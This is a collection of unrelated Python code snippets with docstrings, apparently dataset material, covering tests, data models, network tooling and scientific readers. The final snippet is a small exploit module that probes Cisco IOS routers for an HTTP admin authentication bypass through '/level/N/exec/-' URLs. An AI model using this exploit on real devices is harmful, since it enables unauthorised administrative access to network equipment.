_make_function_duration_over_upper_limit(a, b, 'taxi', operator.truth)
Test max_{mode}_direct_path_duration's upper limit Direct path should be filtered if its duration is greater than max_{mode}_direct_path_duration
62598fa40a50d4780f70529b
class TreeCell(Agent): <NEW_LINE> <INDENT> def __init__(self, pos, model): <NEW_LINE> <INDENT> super().__init__(pos, model) <NEW_LINE> self.pos = pos <NEW_LINE> self.condition = "Unelectrified" <NEW_LINE> <DEDENT> def step(self): <NEW_LINE> <INDENT> if self.condition == "Transition": <NEW_LINE> <INDENT> for neighbor in self.model.grid.neighbor_iter(self.pos): <NEW_LINE> <INDENT> if neighbor.condition == "Unelectrified": <NEW_LINE> <INDENT> neighbor.condition = "Transition" <NEW_LINE> <DEDENT> <DEDENT> self.condition = "Electrified" <NEW_LINE> <DEDENT> <DEDENT> def get_pos(self): <NEW_LINE> <INDENT> return self.pos
A tree cell. Attributes: x, y: Grid coordinates condition: Can be "Unelectrified", "Transition", or "Electrified" unique_id: (x,y) tuple. unique_id isn't strictly necessary here, but it's good practice to give one to each agent anyway.
62598fa43539df3088ecc174
@override_settings(ECOMMERCE_API_SIGNING_KEY=TEST_API_SIGNING_KEY, ECOMMERCE_API_URL=TEST_API_URL) <NEW_LINE> class EdxRestApiClientTest(TestCase): <NEW_LINE> <INDENT> TEST_USER_EMAIL = 'test@example.com' <NEW_LINE> TEST_CLIENT_ID = 'test-client-id' <NEW_LINE> def setUp(self): <NEW_LINE> <INDENT> super(EdxRestApiClientTest, self).setUp() <NEW_LINE> self.user = UserFactory() <NEW_LINE> self.user.email = self.TEST_USER_EMAIL <NEW_LINE> self.user.save() <NEW_LINE> <DEDENT> @httpretty.activate <NEW_LINE> @freeze_time('2015-7-2') <NEW_LINE> @override_settings(JWT_AUTH={'JWT_ISSUER': 'http://example.com/oauth', 'JWT_EXPIRATION': 30}) <NEW_LINE> def test_tracking_context(self): <NEW_LINE> <INDENT> httpretty.register_uri( httpretty.POST, '{}/baskets/1/'.format(TEST_API_URL), status=200, body='{}', adding_headers={'Content-Type': JSON} ) <NEW_LINE> mock_tracker = mock.Mock() <NEW_LINE> mock_tracker.resolve_context = mock.Mock(return_value={'client_id': self.TEST_CLIENT_ID, 'ip': '127.0.0.1'}) <NEW_LINE> with mock.patch('openedx.core.djangoapps.commerce.utils.tracker.get_tracker', return_value=mock_tracker): <NEW_LINE> <INDENT> ecommerce_api_client(self.user).baskets(1).post() <NEW_LINE> <DEDENT> actual_header = httpretty.last_request().headers['Authorization'] <NEW_LINE> expected_payload = { 'username': self.user.username, 'full_name': self.user.profile.name, 'email': self.user.email, 'iss': settings.JWT_AUTH['JWT_ISSUER'], 'exp': datetime.datetime.utcnow() + datetime.timedelta(seconds=settings.JWT_AUTH['JWT_EXPIRATION']), 'tracking_context': { 'lms_user_id': self.user.id, 'lms_client_id': self.TEST_CLIENT_ID, 'lms_ip': '127.0.0.1', }, } <NEW_LINE> expected_header = 'JWT {}'.format(jwt.encode(expected_payload, TEST_API_SIGNING_KEY)) <NEW_LINE> self.assertEqual(actual_header, expected_header) <NEW_LINE> <DEDENT> @httpretty.activate <NEW_LINE> def test_client_unicode(self): <NEW_LINE> <INDENT> expected_content = '{"result": "Préparatoire"}' <NEW_LINE> httpretty.register_uri( httpretty.GET, '{}/baskets/1/order/'.format(TEST_API_URL), status=200, body=expected_content, adding_headers={'Content-Type': JSON}, ) <NEW_LINE> actual_object = ecommerce_api_client(self.user).baskets(1).order.get() <NEW_LINE> self.assertEqual(actual_object, {u"result": u"Préparatoire"}) <NEW_LINE> <DEDENT> def test_client_with_user_without_profile(self): <NEW_LINE> <INDENT> worker = User.objects.create_user(username='test_worker', email='test@example.com') <NEW_LINE> api_client = ecommerce_api_client(worker) <NEW_LINE> self.assertEqual(api_client._store['session'].auth.__dict__['username'], worker.username) <NEW_LINE> self.assertIsNone(api_client._store['session'].auth.__dict__['full_name'])
Tests to ensure the client is initialized properly.
62598fa43617ad0b5ee06013
class ONOSCLI( OldCLI ): <NEW_LINE> <INDENT> prompt = 'mininet-onos> ' <NEW_LINE> def __init__( self, net, **kwargs ): <NEW_LINE> <INDENT> clusters = [ c.net for c in net.controllers if isONOSCluster( c ) ] <NEW_LINE> net = MininetFacade( net, *clusters ) <NEW_LINE> OldCLI.__init__( self, net, **kwargs ) <NEW_LINE> <DEDENT> def onos1( self ): <NEW_LINE> <INDENT> return self.mn.controllers[ 0 ].net.hosts[ 0 ] <NEW_LINE> <DEDENT> def do_onos( self, line ): <NEW_LINE> <INDENT> c0 = self.mn.controllers[ 0 ] <NEW_LINE> if isONOSCluster( c0 ): <NEW_LINE> <INDENT> if line.startswith( ':' ): <NEW_LINE> <INDENT> line = 'onos' + line <NEW_LINE> <DEDENT> onos1 = self.onos1().name <NEW_LINE> if line: <NEW_LINE> <INDENT> line = '"%s"' % line <NEW_LINE> <DEDENT> cmd = '%s client -h %s %s' % ( onos1, onos1, line ) <NEW_LINE> quietRun( 'stty -echo' ) <NEW_LINE> self.default( cmd ) <NEW_LINE> quietRun( 'stty echo' ) <NEW_LINE> <DEDENT> <DEDENT> def do_wait( self, line ): <NEW_LINE> <INDENT> self.mn.waitConnected() <NEW_LINE> <DEDENT> def do_balance( self, line ): <NEW_LINE> <INDENT> self.do_onos( ':balance-masters' ) <NEW_LINE> <DEDENT> def do_log( self, line ): <NEW_LINE> <INDENT> self.default( '%s tail -f /tmp/%s/log' % ( self.onos1(), self.onos1() ) ) <NEW_LINE> <DEDENT> def do_status( self, line ): <NEW_LINE> <INDENT> for c in self.mn.controllers: <NEW_LINE> <INDENT> if isONOSCluster( c ): <NEW_LINE> <INDENT> for node in c.net.hosts: <NEW_LINE> <INDENT> if isONOSNode( node ): <NEW_LINE> <INDENT> errors, warnings = node.checkLog() <NEW_LINE> running = ( 'Running' if node.isRunning() else 'Exited' ) <NEW_LINE> status = '' <NEW_LINE> if errors: <NEW_LINE> <INDENT> status += '%d ERRORS ' % len( errors ) <NEW_LINE> <DEDENT> if warnings: <NEW_LINE> <INDENT> status += '%d warnings' % len( warnings ) <NEW_LINE> <DEDENT> status = status if status else 'OK' <NEW_LINE> info( node, '\t', running, '\t', status, '\n' ) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> <DEDENT> def do_arp( self, line ): <NEW_LINE> <INDENT> startTime = time.time() <NEW_LINE> try: <NEW_LINE> <INDENT> count = int( line ) <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> count = 1 <NEW_LINE> <DEDENT> if '-U' not in quietRun( 'arping -h', shell=True ): <NEW_LINE> <INDENT> warn( 'Please install iputils-arping.\n' ) <NEW_LINE> return <NEW_LINE> <DEDENT> for host in self.mn.net.hosts: <NEW_LINE> <INDENT> intf = host.defaultIntf() <NEW_LINE> host.sendCmd( 'arping -bf -c', count, '-U -I', intf.name, intf.IP() ) <NEW_LINE> <DEDENT> for host in self.mn.net.hosts: <NEW_LINE> <INDENT> host.waitOutput() <NEW_LINE> info( '.' ) <NEW_LINE> <DEDENT> info( '\n' ) <NEW_LINE> elapsed = time.time() - startTime <NEW_LINE> debug( 'Completed in %.2f seconds\n' % elapsed )
CLI Extensions for ONOS
62598fa410dbd63aa1c70a70
class Http2Server: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.server_cwd = None <NEW_LINE> self.safename = str(self) <NEW_LINE> <DEDENT> def server_cmd(self, args): <NEW_LINE> <INDENT> return ['python test/http2_test/http2_test_server.py'] <NEW_LINE> <DEDENT> def cloud_to_prod_env(self): <NEW_LINE> <INDENT> return {} <NEW_LINE> <DEDENT> def global_env(self): <NEW_LINE> <INDENT> return {} <NEW_LINE> <DEDENT> def unimplemented_test_cases(self): <NEW_LINE> <INDENT> return _TEST_CASES + _SKIP_DATA_FRAME_PADDING + _SKIP_SPECIAL_STATUS_MESSAGE <NEW_LINE> <DEDENT> def unimplemented_test_cases_server(self): <NEW_LINE> <INDENT> return _TEST_CASES <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return 'http2'
Represents the HTTP/2 Interop Test server This pretends to be a language in order to be built and run, but really it isn't.
62598fa4656771135c489541
@request.RequestType.GETNAMEINFO <NEW_LINE> class GetNameInfo(request.UVRequest): <NEW_LINE> <INDENT> __slots__ = ['uv_getnameinfo', 'c_sockaddr', 'callback', 'ip', 'port', 'flags'] <NEW_LINE> uv_request_type = 'uv_getnameinfo_t*' <NEW_LINE> uv_request_init = lib.uv_getnameinfo <NEW_LINE> def __init__(self, ip, port, flags=0, callback=None, loop=None): <NEW_LINE> <INDENT> self.callback = callback <NEW_LINE> self.ip = ip <NEW_LINE> self.port = port <NEW_LINE> self.flags = flags <NEW_LINE> uv_callback = ffi.NULL if callback is None else uv_getnameinfo_cb <NEW_LINE> arguments = (uv_callback, make_c_sockaddr(ip, port), flags) <NEW_LINE> super(GetNameInfo, self).__init__(loop, arguments) <NEW_LINE> self.uv_getnameinfo = self.base_request.uv_object <NEW_LINE> if callback is None: <NEW_LINE> <INDENT> base.finalize_request(self) <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def hostname(self): <NEW_LINE> <INDENT> if self.uv_getnameinfo.host: <NEW_LINE> <INDENT> return ffi.string(self.uv_getnameinfo.host).decode() <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def service(self): <NEW_LINE> <INDENT> if self.uv_getnameinfo.service: <NEW_LINE> <INDENT> return ffi.string(self.uv_getnameinfo.service).decode()
Request to get name information for specified ip and port. If no callback is provided the request is executed synchronously. :param ip: IP to get name information for :param port: port to get name information for :param flags: flags to configure the behavior of `getnameinfo()` :param callback: callback which should be called after name information has been fetched or on error :param loop: event loop the request should run on :type ip: unicode :type port: int :type flags: int :type callback: ((uv.GetNameInfo, uv.StatusCodes, unicode, unicode) -> None) | ((Any, uv.GetAddrInfo, uv.StatusCodes, unicode, unicode) -> None) | None :type loop: uv.Loop
62598fa42c8b7c6e89bd3685
class ID(Enum): <NEW_LINE> <INDENT> VENDOR = 1 <NEW_LINE> PRODUCT = 2 <NEW_LINE> SER_NUM = 3 <NEW_LINE> FW_VAR = 4 <NEW_LINE> DEVICE_VENDOR = 5 <NEW_LINE> DEVICE_NAME = 6
Information ID used for call to identify
62598fa49c8ee823130400cf
class ConditionMultiSignature(ConditionBaseClass): <NEW_LINE> <INDENT> def __init__(self, unlockhashes=None, min_nr_sig=0): <NEW_LINE> <INDENT> self._unlockhashes = [] <NEW_LINE> if unlockhashes: <NEW_LINE> <INDENT> for uh in unlockhashes: <NEW_LINE> <INDENT> self.add_unlockhash(uh) <NEW_LINE> <DEDENT> <DEDENT> self._min_nr_sig = 0 <NEW_LINE> self.required_signatures = min_nr_sig <NEW_LINE> <DEDENT> @property <NEW_LINE> def type(self): <NEW_LINE> <INDENT> return _CONDITION_TYPE_MULTI_SIG <NEW_LINE> <DEDENT> @property <NEW_LINE> def unlockhash(self): <NEW_LINE> <INDENT> uhs = sorted(self.unlockhashes, key=lambda uh: str(uh)) <NEW_LINE> tree = MerkleTree(hash_func=lambda o: bytes.fromhex(blake2_string(o))) <NEW_LINE> tree.push(sia_encode(len(uhs))) <NEW_LINE> for uh in uhs: <NEW_LINE> <INDENT> tree.push(sia_encode(uh)) <NEW_LINE> <DEDENT> tree.push(sia_encode(self.required_signatures)) <NEW_LINE> return UnlockHash(type=UnlockHashType.MULTI_SIG, hash=tree.root()) <NEW_LINE> <DEDENT> @property <NEW_LINE> def unlockhashes(self): <NEW_LINE> <INDENT> return self._unlockhashes <NEW_LINE> <DEDENT> def add_unlockhash(self, uh): <NEW_LINE> <INDENT> if uh is None: <NEW_LINE> <INDENT> self._unlockhashes.append(UnlockHash()) <NEW_LINE> <DEDENT> elif isinstance(uh, UnlockHash): <NEW_LINE> <INDENT> self._unlockhashes.append(uh) <NEW_LINE> <DEDENT> elif isinstance(uh, str): <NEW_LINE> <INDENT> self._unlockhashes.append(UnlockHash.from_json(uh)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise TypeError("cannot add UnlockHash with invalid type {}".format(type(uh))) <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def required_signatures(self): <NEW_LINE> <INDENT> return self._min_nr_sig <NEW_LINE> <DEDENT> @required_signatures.setter <NEW_LINE> def required_signatures(self, value): <NEW_LINE> <INDENT> if value is None: <NEW_LINE> <INDENT> self._min_nr_sig = 0 <NEW_LINE> return <NEW_LINE> <DEDENT> if not isinstance(value, int): <NEW_LINE> <INDENT> raise TypeError("ConditionMultiSignature's required signatures value is expected to be of type int, not {}".format(type(value))) <NEW_LINE> <DEDENT> self._min_nr_sig = int(value) <NEW_LINE> <DEDENT> def from_json_data_object(self, data): <NEW_LINE> <INDENT> self._min_nr_sig = int(data['minimumsignaturecount']) <NEW_LINE> self._unlockhashes = [] <NEW_LINE> for uh in data['unlockhashes']: <NEW_LINE> <INDENT> uh = UnlockHash.from_json(uh) <NEW_LINE> self._unlockhashes.append(uh) <NEW_LINE> <DEDENT> <DEDENT> def json_data_object(self): <NEW_LINE> <INDENT> return { 'minimumsignaturecount': self._min_nr_sig, 'unlockhashes': [uh.json() for uh in self._unlockhashes], } <NEW_LINE> <DEDENT> def sia_binary_encode_data(self, encoder): <NEW_LINE> <INDENT> encoder.add(self._min_nr_sig) <NEW_LINE> encoder.add_slice(self._unlockhashes) <NEW_LINE> <DEDENT> def rivine_binary_encode_data(self, encoder): <NEW_LINE> <INDENT> encoder.add_int64(self._min_nr_sig) <NEW_LINE> encoder.add_slice(self._unlockhashes)
ConditionMultiSignature class
62598fa4460517430c431fbb
class Validator(base.ValidatorBase): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.__spec = None <NEW_LINE> <DEDENT> @property <NEW_LINE> def spec(self): <NEW_LINE> <INDENT> self.__spec = ( "[{0}]".format(__name__), "host = string(default='127.0.0.1')", "port = integer(0, 65535, default=6379)", "db = integer(0, 15, default=0)", "auth = string(default='')", "timeout = integer(default=10)", "hostname = string(default={0})".format(self.detect_hostname()), ) <NEW_LINE> return self.__spec
This class store information which is used by validation config file.
62598fa430dc7b766599f70e
class Meta: <NEW_LINE> <INDENT> index = 'authorities-viaf-person-v0.0.1'
Search only on index.
62598fa4e5267d203ee6b7cd
class InvalidFormatError(LFException): <NEW_LINE> <INDENT> pass
For errors that occur for invalid file formats
62598fa4b7558d58954634ef
class PipelineTriggerProperties(msrest.serialization.Model): <NEW_LINE> <INDENT> _attribute_map = { 'source_trigger': {'key': 'sourceTrigger', 'type': 'PipelineSourceTriggerProperties'}, } <NEW_LINE> def __init__( self, *, source_trigger: Optional["PipelineSourceTriggerProperties"] = None, **kwargs ): <NEW_LINE> <INDENT> super(PipelineTriggerProperties, self).__init__(**kwargs) <NEW_LINE> self.source_trigger = source_trigger
PipelineTriggerProperties. :ivar source_trigger: The source trigger properties of the pipeline. :vartype source_trigger: ~azure.mgmt.containerregistry.v2021_12_01_preview.models.PipelineSourceTriggerProperties
62598fa4f7d966606f747ea3
class Source(BaseObject): <NEW_LINE> <INDENT> def __init__(self, name, is_cte=False): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.is_cte = is_cte
data object for a data source eg table
62598fa44a966d76dd5eeda2
class Radolan(object): <NEW_LINE> <INDENT> def __init__(self, do_lonlat = True): <NEW_LINE> <INDENT> if do_lonlat: <NEW_LINE> <INDENT> self.lonlat() <NEW_LINE> <DEDENT> <DEDENT> def read(self, name_or_time, rproduct = 'rx_hdcp2'): <NEW_LINE> <INDENT> if rproduct in ['rx', 'rw', 'sf']: <NEW_LINE> <INDENT> self.rawread(name_or_time, rproduct = rproduct) <NEW_LINE> <DEDENT> elif rproduct == 'rx_hdcp2': <NEW_LINE> <INDENT> self.read_nc(name_or_time) <NEW_LINE> <DEDENT> <DEDENT> def read_nc(self, time): <NEW_LINE> <INDENT> fname = radoname_from_time(time, rproduct = 'rx_hdcp2') <NEW_LINE> itime = 12 * time.hour + time.minute / 5 <NEW_LINE> vname = 'dbz' <NEW_LINE> d = ncio.read_icon_4d_data(fname, [vname], itime = itime)[vname] <NEW_LINE> d = np.ma.masked_invalid( d ) <NEW_LINE> self.data = np.ma.masked_greater_equal( d, 92) <NEW_LINE> <DEDENT> def rawread(self, name_or_time, rproduct = 'rx'): <NEW_LINE> <INDENT> if type(name_or_time) == type(''): <NEW_LINE> <INDENT> fname = name_or_time <NEW_LINE> <DEDENT> elif type(name_or_time) == type(datetime.datetime(2012,12,1,12,0)): <NEW_LINE> <INDENT> t = name_or_time <NEW_LINE> fname = radoname_from_time(t, rproduct = rproduct) <NEW_LINE> <DEDENT> flist = glob.glob(fname + '*') <NEW_LINE> print(flist) <NEW_LINE> if len(flist ) == 0: <NEW_LINE> <INDENT> print('ERROR: file %s does not exist' % fname) <NEW_LINE> sys.exit() <NEW_LINE> <DEDENT> if len(flist) == 1: <NEW_LINE> <INDENT> dir_and_base, ext = os.path.splitext(flist[0]) <NEW_LINE> base = os.path.basename(dir_and_base) <NEW_LINE> if ext == '.gz': <NEW_LINE> <INDENT> tmpdir = tempfile.mkdtemp() <NEW_LINE> newname = '%s/%s' % (tmpdir, base) <NEW_LINE> os.system('gunzip -c %s > %s' % (flist[0], newname) ) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> newname = fname <NEW_LINE> <DEDENT> <DEDENT> self.data, self.meta = read_RADOLAN_composite(newname) <NEW_LINE> if os.path.isdir(tmpdir): <NEW_LINE> <INDENT> os.system('rm -rf %s' % tmpdir) <NEW_LINE> <DEDENT> return <NEW_LINE> <DEDENT> def dbz2rr(self): <NEW_LINE> <INDENT> dbz = self.data <NEW_LINE> a = 256. <NEW_LINE> b = 1.42 <NEW_LINE> z = dbz / (10*b) <NEW_LINE> f = 1. / (a**(1./b)) <NEW_LINE> self.rr = f * 10**z <NEW_LINE> return self.rr <NEW_LINE> <DEDENT> def lonlat(self): <NEW_LINE> <INDENT> x,y = radolan_xy() <NEW_LINE> self.xg, self.yg = np.meshgrid(x,y) <NEW_LINE> self.lon, self.lat = rado_xy2ll(self.xg, self.yg) <NEW_LINE> return <NEW_LINE> <DEDENT> def mask(self, thresh=35): <NEW_LINE> <INDENT> return np.ma.masked_less(self.data, thresh)
Simple class for reading and holding Radolan data and georeference.
62598fa4be8e80087fbbef22
class MSE(Layer): <NEW_LINE> <INDENT> def __init__(self, **kwargs): <NEW_LINE> <INDENT> super(MSE, self).__init__(**kwargs) <NEW_LINE> <DEDENT> def build(self, input_shape): <NEW_LINE> <INDENT> super(MSE, self).build(input_shape) <NEW_LINE> <DEDENT> def call(self, x): <NEW_LINE> <INDENT> return K.mean(K.batch_flatten(K.square(x[0] - x[1])), -1) <NEW_LINE> <DEDENT> def compute_output_shape(self, input_shape): <NEW_LINE> <INDENT> return (input_shape[0][0], )
Keras Layer: mean squared error
62598fa401c39578d7f12c3f
class State: <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.cartstate = [0, 0, 0, 0, 0, 0]
The state (position and velocity of a point. cartstate - The Cartesian position and velocity. cs - The coordinate system in which the state is defined.
62598fa4a8370b77170f029a
class GlobalFunctionsTests(BaubleTestCase): <NEW_LINE> <INDENT> def test_combo_cell_data_func(self): <NEW_LINE> <INDENT> import bauble.connmgr <NEW_LINE> wt, at = bauble.connmgr.working_dbtypes, bauble.connmgr.dbtypes <NEW_LINE> bauble.connmgr.working_dbtypes = ['a', 'd'] <NEW_LINE> bauble.connmgr.dbtypes = ['a', 'b', 'c', 'd'] <NEW_LINE> renderer = MockRenderer() <NEW_LINE> for iter, name in enumerate(bauble.connmgr.dbtypes): <NEW_LINE> <INDENT> bauble.connmgr.type_combo_cell_data_func( None, renderer, bauble.connmgr.dbtypes, iter) <NEW_LINE> self.assertEqual(renderer['sensitive'], name in bauble.connmgr.working_dbtypes) <NEW_LINE> self.assertEqual(renderer['text'], name) <NEW_LINE> <DEDENT> bauble.connmgr.working_dbtypes, bauble.connmgr.dbtypes = wt, at <NEW_LINE> <DEDENT> def test_is_package_name(self): <NEW_LINE> <INDENT> from bauble.connmgr import is_package_name <NEW_LINE> self.assertTrue(is_package_name("sqlite3")) <NEW_LINE> self.assertFalse(is_package_name("sqlheavy42"))
Presenter manages view and model, implements view callbacks.
62598fa4aad79263cf42e695
class SendStatusStatisticsResponse(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.SendStatusStatistics = None <NEW_LINE> self.RequestId = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> if params.get("SendStatusStatistics") is not None: <NEW_LINE> <INDENT> self.SendStatusStatistics = SendStatusStatistics() <NEW_LINE> self.SendStatusStatistics._deserialize(params.get("SendStatusStatistics")) <NEW_LINE> <DEDENT> self.RequestId = params.get("RequestId")
SendStatusStatistics response structure.
62598fa4e5267d203ee6b7ce
class Tresor(BaseObj): <NEW_LINE> <INDENT> enregistrer = True <NEW_LINE> def __init__(self): <NEW_LINE> <INDENT> BaseObj.__init__(self) <NEW_LINE> self.derniere_stats = datetime.now() <NEW_LINE> self.argent_total = 0 <NEW_LINE> self.argent_joueurs = 0 <NEW_LINE> self.joueur_max = None <NEW_LINE> self.valeur_max = 0 <NEW_LINE> self.stats = [] <NEW_LINE> self._construire() <NEW_LINE> <DEDENT> def __getnewargs__(self): <NEW_LINE> <INDENT> return () <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "<tresor mis à jour le {}>".format(self.derniere_stats) <NEW_LINE> <DEDENT> @property <NEW_LINE> def pc_joueurs_total(self): <NEW_LINE> <INDENT> if self.argent_total == 0: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> return self.argent_joueurs / self.argent_total * 100 <NEW_LINE> <DEDENT> @property <NEW_LINE> def pc_joueur_max_total(self): <NEW_LINE> <INDENT> if self.argent_total == 0: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> return self.valeur_max / self.argent_total * 100 <NEW_LINE> <DEDENT> @property <NEW_LINE> def pc_fluctuation(self): <NEW_LINE> <INDENT> if self.stats: <NEW_LINE> <INDENT> ancien_total = self.stats[0][1] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> ancien_total = self.argent_total <NEW_LINE> <DEDENT> if ancien_total == 0: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> return (self.argent_total - ancien_total) / ancien_total * 100 <NEW_LINE> <DEDENT> def mettre_a_jour(self): <NEW_LINE> <INDENT> self.stats.append((self.derniere_stats, self.argent_total)) <NEW_LINE> self.derniere_stats = datetime.now() <NEW_LINE> nb_jours_fluctuation = importeur.tresor.cfg.nb_jours_fluctuation <NEW_LINE> nb_secs = nb_jours_fluctuation * 24 * 60 * 60 <NEW_LINE> while self.stats: <NEW_LINE> <INDENT> if (self.derniere_stats - self.stats[0][0]).seconds > nb_secs: <NEW_LINE> <INDENT> del self.stats[0] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> <DEDENT> total = 0 <NEW_LINE> total_joueurs = 0 <NEW_LINE> joueur_max = None <NEW_LINE> valeur_max = 0 <NEW_LINE> for joueur in importeur.joueur.joueurs.values(): <NEW_LINE> <INDENT> nb = joueur.argent_total <NEW_LINE> total += nb <NEW_LINE> total_joueurs += nb <NEW_LINE> if nb > valeur_max: <NEW_LINE> <INDENT> valeur_max = nb <NEW_LINE> joueur_max = joueur <NEW_LINE> <DEDENT> <DEDENT> for zone in importeur.salle.zones.values(): <NEW_LINE> <INDENT> total += zone.argent_total <NEW_LINE> <DEDENT> self.argent_total = total <NEW_LINE> self.argent_joueurs = total_joueurs <NEW_LINE> self.joueur_max = joueur_max <NEW_LINE> self.valeur_max = valeur_max
Classe représentant les statistiques globales sur le trésor. Ces informations doivent être sauvegardées car ces statistiques sont faites sur une certaine période, définie dans la configuration.
62598fa41f5feb6acb162ae2
class OfferB2g3rdf(Offer): <NEW_LINE> <INDENT> def __init__(self, product): <NEW_LINE> <INDENT> self._product = product <NEW_LINE> <DEDENT> def add_discount(self, cart): <NEW_LINE> <INDENT> product = self._product <NEW_LINE> if product in cart.contents: <NEW_LINE> <INDENT> price = cart._products[product] <NEW_LINE> num = int(cart.contents[product]/3) <NEW_LINE> cart._add_discount('%s b2g3rd' % product, -1 * num * price)
buy two of product and get the third free
62598fa491f36d47f2230e03
class SimplexTopology(Topology): <NEW_LINE> <INDENT> __slots__ = 'simplices', 'transforms' <NEW_LINE> __cache__ = 'connectivity', 'elements' <NEW_LINE> @types.apply_annotations <NEW_LINE> def __init__(self, simplices:types.frozenarray[types.strictint], transforms:types.tuple[transform.stricttransform]): <NEW_LINE> <INDENT> assert simplices.ndim == 2 and len(simplices) == len(transforms) <NEW_LINE> self.simplices = simplices <NEW_LINE> self.transforms = transforms <NEW_LINE> super().__init__(simplices.shape[1]-1) <NEW_LINE> <DEDENT> def __len__(self): <NEW_LINE> <INDENT> return len(self.simplices) <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> simplexref = element.getsimplex(self.ndims) <NEW_LINE> return (element.Element(simplexref, trans) for trans in self.transforms) <NEW_LINE> <DEDENT> @property <NEW_LINE> def elements(self): <NEW_LINE> <INDENT> return tuple(self) <NEW_LINE> <DEDENT> @property <NEW_LINE> def connectivity(self): <NEW_LINE> <INDENT> connectivity = -numpy.ones((len(self.simplices), self.ndims+1), dtype=int) <NEW_LINE> edge_vertices = numpy.arange(self.ndims+1).repeat(self.ndims).reshape(self.ndims, self.ndims+1)[:,::-1].T <NEW_LINE> v = self.simplices.take(edge_vertices, axis=1).reshape(-1, self.ndims) <NEW_LINE> o = numpy.lexsort(v.T) <NEW_LINE> vo = v.take(o, axis=0) <NEW_LINE> i, = numpy.equal(vo[1:], vo[:-1]).all(axis=1).nonzero() <NEW_LINE> j = i + 1 <NEW_LINE> ielems, iedges = divmod(o[i], self.ndims+1) <NEW_LINE> jelems, jedges = divmod(o[j], self.ndims+1) <NEW_LINE> connectivity[ielems,iedges] = jelems <NEW_LINE> connectivity[jelems,jedges] = ielems <NEW_LINE> return types.frozenarray(connectivity, copy=False) <NEW_LINE> <DEDENT> def basis_bubble(self): <NEW_LINE> <INDENT> bernstein = element.getsimplex(self.ndims).get_poly_coeffs('bernstein', degree=1) <NEW_LINE> bubble = functools.reduce(numeric.poly_mul, bernstein) <NEW_LINE> coeffs = numpy.zeros((len(bernstein)+1,) + bubble.shape) <NEW_LINE> coeffs[(slice(-1),)+(slice(2),)*self.ndims] = bernstein <NEW_LINE> coeffs[-1] = bubble <NEW_LINE> coeffs[:-1] -= bubble / (self.ndims+1) <NEW_LINE> coeffs = types.frozenarray(coeffs, copy=False) <NEW_LINE> nverts = self.simplices.max() + 1 <NEW_LINE> ndofs = nverts + len(self) <NEW_LINE> nmap = [types.frozenarray(numpy.hstack([idofs, nverts+ielem]), copy=False) for ielem, idofs in enumerate(self.simplices)] <NEW_LINE> return function.polyfunc([coeffs] * len(self), nmap, ndofs, self.transforms, issorted=False)
simpex topology
62598fa43317a56b869be4aa
class VideoDefinitionType (pyxb.binding.datatypes.string, pyxb.binding.basis.enumeration_mixin): <NEW_LINE> <INDENT> _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'VideoDefinitionType') <NEW_LINE> _XSDLocation = pyxb.utils.utility.Location('http://ddex.net/xml/20121219/ddex.xsd', 5811, 3) <NEW_LINE> _Documentation = 'A ddex:Type of resolution (or definition) in which a ddex:Video is provided.'
A ddex:Type of resolution (or definition) in which a ddex:Video is provided.
62598fa4d7e4931a7ef3bf5c
class LoaderNotFoundError(Exception): <NEW_LINE> <INDENT> pass
Session loader is not found.
62598fa432920d7e50bc5f18
class ParsePylintArgsTests(TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> import convertor <NEW_LINE> self.parse_pylint_args = convertor.parse_pylint_args <NEW_LINE> <DEDENT> def test_success(self): <NEW_LINE> <INDENT> args = ["program_name", "--param1=test", "module_name1", "--param2=test2"] <NEW_LINE> result = self.parse_pylint_args(args) <NEW_LINE> self.assertEquals(result, ["--param1=test", "--param2=test2"]) <NEW_LINE> <DEDENT> def test_success_with_virutalenv(self): <NEW_LINE> <INDENT> args = ["program_name", "--virtualenv=path_to_virtualenv", "module_name1", "--param2=test2"] <NEW_LINE> result = self.parse_pylint_args(args) <NEW_LINE> self.assertEquals(result, ["--param2=test2"])
test of convert.parse_pylint_args function
62598fa4460517430c431fbc
class ios_full_admin(RouterVuln): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.router = 'Cisco IOS 11.x/12.x' <NEW_LINE> self.vuln = 'Full Admin' <NEW_LINE> super(ios_full_admin, self).__init__() <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> url = 'http://%s/level/' % (self.ip) <NEW_LINE> for idx in range(16, 100): <NEW_LINE> <INDENT> url += str(idx) + '/exec/-' <NEW_LINE> response = urllib.urlopen(url).read() <NEW_LINE> if '200 ok' in response.lower(): <NEW_LINE> <INDENT> util.Msg('Device vulnerable. Connect to %s for admin' % (self.ip)) <NEW_LINE> return <NEW_LINE> <DEDENT> <DEDENT> util.Msg('Device not vulnerable.') <NEW_LINE> return
Exploit a remote admin vulnerability in Cisco IOS 11.x/12.x routers http://www.exploit-db.com/exploits/20975/
62598fa4a79ad16197769f23
